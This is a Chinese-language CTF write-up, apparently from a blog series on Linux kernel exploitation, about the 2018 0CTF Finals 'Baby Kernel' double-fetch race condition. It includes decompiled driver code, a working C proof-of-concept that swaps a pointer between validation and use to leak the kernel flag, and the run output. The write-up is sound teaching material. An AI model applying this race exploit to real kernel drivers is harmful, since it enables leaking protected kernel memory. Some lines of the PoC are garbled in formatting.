Linux Kernel Pwn (五)

April 12, 2020 PWN 访问: 47 次

前两天给**出题,耽搁了几天时间没有学习kernel pwn,出题真的是头大呀,比做题要难。

<h2>Double Fetch</h2>

该漏洞的原理属于条件竞争漏洞,是内核和用户之间的数据访问竞争。

<h3>2018 0CTF Finals Baby Kernel</h3>

signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  test *v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's contentn", flag);
    result = 0LL;
  }
  else if ( a2 == 0x1337
         && !_chk_range_not_ok(v2, 0x10LL, *(__readgsqword(¤t_task) + 0x1358))
         && !_chk_range_not_ok(v5->flag_str, SLODWORD(v5->flag_len), *(__readgsqword(¤t_task) + 0x1358))// 判断是否在用户态
         && LODWORD(v5->flag_len) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(v5->flag_str + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %sn", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

存在一种结构体:

struct my_flag{
    char *flag_str;
    size_t flag_len;
};

有两个命令,0x6666命令会把内核的flag的地址输出,但是在终端是看不到的,我们需要通过dmesg命令来查看

0x1337命令是先检查用户传来的flag结构体的正确性,然后逐位比较,若比较全部一样,则输出flag

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int8 v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;
  return result;
}

这个函数检验flag结构体是不是在用户态的地址上

这个驱动验证flag正确性和对比flag不在同一时刻,所以就可以造成double fetch,验证通过时修改flag地址为内核flag地址,然后与之对比之后会把正确的flag输出

poc:

#include<stdio.h>
#include<fcntl.h>//open
#include<sys/ioctl.h>//ioctl
#include<stdlib.h>//system
#include<pthread.h>//多线程
#include<unistd.h>//sleep
size_t flag_addr=0;
struct my_flag{
    char *flag_str;
    size_t flag_len;
};
int sign_1=0;
void change_flag(void s)
{
    struct my_flag *a = s;
    while(sign_1==0)
    {
        printf("033[1;31;44mpthread doing!033[0mn");
        a->flag_str=flag_addr;
    }
}

int main()
{

    char fake_flag[0x50] = "flag{aaaaaaaaaaaaaaaaaaaaaaaaaaa}";
    struct my_flag st;
    st.flag_str = &fake_flag;
    pthread_t pt_1;
    st.flag_len = 33;

    int fd = open("/dev/baby",O_RDONLY);

    / get flag addr/
    ioctl(fd,0x6666);
    system("dmesg | grep 'flag is at'");
    printf("[+]input addr:");
    scanf("%zu",&flag_addr);
    printf("%pn",flag_addr);
    //printf("%pn",sizeof(struct my_flag));
    pthread_create(&pt_1,NULL,change_flag,&st);
    int time;
    int state;
    for(time=0;time<0x10000;time++)
    {
        state = ioctl(fd,0x1337,&st);
        st.flag_str=&fake_flag;
        if(state==0)
        {
            sign_1=1;
            pthread_join(pt_1,NULL);
            printf("done!");
            system("dmesg | grep 'flag'");
        }
    }
    return 0;
}

结果:

/ # time /exp
[   14.131834] Your flag is at ffffffffc03ab028! But I don't think you know it's content
[+]input addr:18446744072639655976 
0xffffffffc03ab028
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
pthread doing!
[   14.131834] Your flag is at ffffffffc03ab028! But I don't think you know it's content
[   31.260778] Looks like the flag is not a secret anymore. So here is it flag{THIS_WILL_BE_YOUR_FLAG_1234}
[   61.207498] Your flag is at ffffffffc03ab028! But I don't think you know it's content
done!real   0m 27.18s
user    0m 2.31s
sys 0m 6.55s

<h2>参考文献</h2>

ctf-wiki

添加新评论